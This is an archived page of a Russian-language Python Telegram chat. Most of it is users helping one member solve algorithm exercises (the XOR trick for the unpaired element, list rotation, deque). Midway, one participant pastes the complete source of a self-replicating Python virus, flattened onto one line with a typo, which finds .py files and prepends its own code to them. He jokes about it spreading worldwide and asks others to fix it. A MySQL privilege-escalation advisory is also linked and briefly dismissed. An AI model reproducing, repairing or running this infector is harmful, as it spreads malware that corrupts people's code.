@ru_python

Страница 1534 из 9768
Rinat
16.09.2016
11:37:44
ок спс

H
16.09.2016
11:39:00
можно в лоб In [17]: for k, v in Counter(A).items(): ...: if v == 1: ...: print(k) ...: 7

Rinat
16.09.2016
11:39:51
да точно есть же коунтер

Artem
16.09.2016
11:40:50
Ну это то же самое, что дикт

Google
Dumitru
16.09.2016
11:40:51
Artem
16.09.2016
11:41:11
А тебе нужно без дополнительной памяти

Rinat
16.09.2016
11:41:16
с коунтером мне кажется попадет под ограничение по времени

H
16.09.2016
11:41:39
Ну это вообще не интересно (
вам шашечки или ехать?

Rinat
16.09.2016
11:41:47
там до 0,7 сек в какой-то тестовой последовательности

и наверное время уйдет за 1 сек

H
16.09.2016
11:42:02
не было никаких критериев по времени

с этого надо было начинать

Rocket
16.09.2016
11:42:12
если брать по 14 бит, то на каждые 7 байт получается 12 байт результата

и того эффективность 0,5833333333333333

Dumitru
16.09.2016
11:42:23
вам шашечки или ехать?
Тут надо спросить у автора ))

Rinat
16.09.2016
11:42:52
я знаю только одну последовательность, остальные не знаю, знаю условие

Google
Artem
16.09.2016
11:43:01
не было никаких критериев по времени
Это алгоритмическая задачка с ограничениями в условии, явно намекающими на ровно одно правильное решение

Rinat
16.09.2016
11:43:10
по времени вообще не писали

а потом уже когда на проверку послал, тут и бац время появилось

Sergey
16.09.2016
11:43:35
xor вроде здесь нужен

Artem
16.09.2016
11:43:57
Ну мог бы человек и сам прочитать)

H
16.09.2016
11:44:03
это будет быстро работать, быстрее чем вариант автора

Rocket
16.09.2016
11:44:46
но это все равно лучше, чем мои 0.33 )))

Rinat
16.09.2016
11:49:56
оо спс разобрался

ща еще будут задачки )) кому интереснос

Art
16.09.2016
11:51:07
Собеседование проходишь?

Rinat
16.09.2016
11:51:22
нет просто решаю задачки

Artem
16.09.2016
11:56:58
разобрался в итоге с каким вариантом?)

H
16.09.2016
12:00:31
def solution(A): s = set() for n, a in enumerate(A): if a not in A[n+1:] and a not in s: return a else: s.add(a)
у тебя говно в том, что ты каждый раз делаешь о(н) на конец списка, это получается О(н!) вроде, что просто отвратительно по меркам времени

http://bigocheatsheet.com

Rinat
16.09.2016
12:01:00
это O(N**2)

в итоге вот 100% хорошее решение def solution(A): result = A[0] for x in A[1:]: result ^= x return result

H
16.09.2016
12:02:04
Rinat
16.09.2016
12:02:48
ну возможно и нет, но первый раз задетектило время O(N**2) итоговое решение говорит что O(N)

H
16.09.2016
12:04:38
но если подумать, то скорее да, чем нет :)

Google
Artem
16.09.2016
12:07:08
с ксором правильно, да

Sergey
16.09.2016
12:10:39
reduce(lambda x, y: x ^ y, A) или reduce(operator.xor, A) или reduce(xor, A)

Rinat
16.09.2016
12:13:35
во редюс надо было использовать

O'Miay
16.09.2016
12:14:33
кто-нить писал вирус наподобие стакснет на пайтоне?

Rinat
16.09.2016
12:15:29
вот вопрос A = [3, 8, 9, 7, 6] K = 3 3 кол-во сдвигов вправо на выходе должно получиться [9, 7, 6, 3, 8]

хотя тут проще

H
16.09.2016
12:16:37
а какой смысл пытаться решать задачки и всех спрашивать ответ сразу же?

Rinat
16.09.2016
12:16:54
да хз просто в лоб я всегда могу сделать

Артём
16.09.2016
12:17:03
.

Rinat
16.09.2016
12:17:06
а так мне подсказки дают

Cykooz
16.09.2016
12:17:33
вот вопрос A = [3, 8, 9, 7, 6] K = 3 3 кол-во сдвигов вправо на выходе должно получиться [9, 7, 6, 3, 8]
Эм, если K может быть любое, то как то так: for _ in range(K): A.insert(0, A.pop())

Fox.rs
16.09.2016
12:17:38
Раньше что то подобное решал

В вики про циклические сдвиги глянь

Google
Fox.rs
16.09.2016
12:17:59
И все поймешь

Rinat
16.09.2016
12:18:02
ок спс

Artem
16.09.2016
12:18:19
надо понимать, что list это не linked list список

O'Miay
16.09.2016
12:18:34
#!/usr/bin/python import os import datetime SIGNATURE = "CRANKLIN PYTHON VIRUS" def search(path): filestoinfect = [] filelist = os.listdir(path) for fname in filelist: if os.path.isdir(path+"/"+fname): filestoinfect.extend(search(path+"/"+fname)) elif fname[-3? == ".py": infected = False for line in open(path+"/"+fname): if SIGNATURE in line: infected = True break if infected == False: filestoinfect.append(path+"/"+fname) return filestoinfect def infect(filestoinfect): virus = open(os.path.abspath(__file__)) virusstring = "" for i,line in enumerate(virus): if i>=0 and i <39: virusstring += line virus.close for fname in filestoinfect: f = open(fname) temp = f.read() f.close() f = open(fname,"w") f.write(virusstring + temp) f.close() def bomb(): if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: print "HAPPY BIRTHDAY CRANKLIN!" filestoinfect = search(os.path.abspath("")) infect(filestoinfect) bomb()

Artem
16.09.2016
12:18:43
и поэтому циклами по одному элементу не надо с ним работать

Артём
16.09.2016
12:19:19
Вк лежит.

Paul
16.09.2016
12:19:32
Вк лежит.
шо, опять?

Артём
16.09.2016
12:19:44
+

O'Miay
16.09.2016
12:19:47
Вк лежит.
Это всё из-за вируса

Artem
16.09.2016
12:19:53
не лежит

Admin
ERROR: S client not available

Artem
16.09.2016
12:19:56
но тупит

O'Miay
16.09.2016
12:20:27
Скоро и телеграм ляжет, дайте время расплодиться

Paul
16.09.2016
12:20:55
Скоро и телеграм ляжет, дайте время расплодиться
для начала его надо отнять и выгнать из него всех хороших разработчиков и админов

Артём
16.09.2016
12:20:56
Это всё из-за вируса
И на телефоне тоже?

O'Miay
16.09.2016
12:21:23
All world

O'Miay
16.09.2016
12:22:39
а можешь поправить?

Artem
16.09.2016
12:23:11
нет

O'Miay
16.09.2016
12:23:33
Тогда не умничай (это не мой код)

Google
Artem
16.09.2016
12:27:35
3-4 где-то

Rinat
16.09.2016
12:32:43
что за deque ?

Artem
16.09.2016
12:33:06
double ended queue

Rinat
16.09.2016
12:33:39
а нашел в модуле collections

?

O'Miay
16.09.2016
12:58:03
MySQL Remote Root Code Execution / Privilege Escalation ( 0day )

here1am
16.09.2016
13:06:16
херня, для пользователей с повышенными привелегиями

FILE почти никому не дают, в основном, для реплики. а реплику делают сами админы в основном

CthUlhUzzz
16.09.2016
14:00:09
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

херь

Необходимы тепличные условия

которых не будет в реальной жизни

аа, как на цисках недавно было.. ясн, спасибо

просто файл прив не даст перезписать существующий файл

даже если есть права

короч будет рце, если ты уже в локалке

и от рута :D

еще условия нужны

Страница 1534 из 9768